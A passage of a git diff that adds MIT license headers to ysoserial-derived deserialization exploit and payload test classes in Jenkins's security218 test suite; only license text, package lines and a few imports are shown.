COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.exploit; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java index 84b6ca63b5..b9c24165b8 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.exploit; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java index 0ff47e8257..ffbcdc7ca3 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.exploit; import java.io.DataOutputStream; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java index 168d17573c..ba4b5316ae 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.exploit; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java index 99b7fdde4d..3aba829fe0 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.exploit; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java index 9468a3dc4c..9677e33bda 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.exploit; import java.rmi.Remote; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java index 95db4e0eed..5ef4762658 100755 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.payloads; import java.math.BigInteger; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java index a388619ac1..fd13716a98 100755 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.payloads; import java.lang.reflect.InvocationHandler; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java index a973a66119..eb543de37b 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.payloads; import java.util.PriorityQueue; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java index b45aaa9fa7..36834a5360 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.payloads; import java.lang.reflect.Field; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java index 059b8c8195..da7ba5f2e7 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.payloads; import org.apache.commons.collections.Transformer; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java index f65a6ba13f..31d1a989dd 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java @@ -1,3 +1,26 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ package jenkins.security.security218.ysoserial.payloads; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java index 3bc89b8d41..5a70924221 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.payloads; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java index 36c1711727..a50f1fc947 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java @@ -1,3 +1,26 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ package jenkins.security.security218.ysoserial.payloads; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java index a93d3b4b9a..0b6551960d 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.payloads; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java index 626827929e..2c4a1d2479 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.payloads; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java index d9255750f0..9c18794a7c 100755 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java @@ -1,3 +1,26 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ package jenkins.security.security218.ysoserial.payloads; import java.lang.reflect.InvocationHandler; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java index 2fe2b9b717..3a78f57efc 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.payloads; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java index 973edd1083..ab36ca2ba3 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java @@ -1,3 +1,26 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ package jenkins.security.security218.ysoserial.payloads; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java index 7c21b91826..8c52d4d037 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java @@ -1,3 +1,26 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ package jenkins.security.security218.ysoserial.payloads.annotation; import java.lang.annotation.ElementType; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java index 33ab5f4419..9a743b65f4 100644 --- 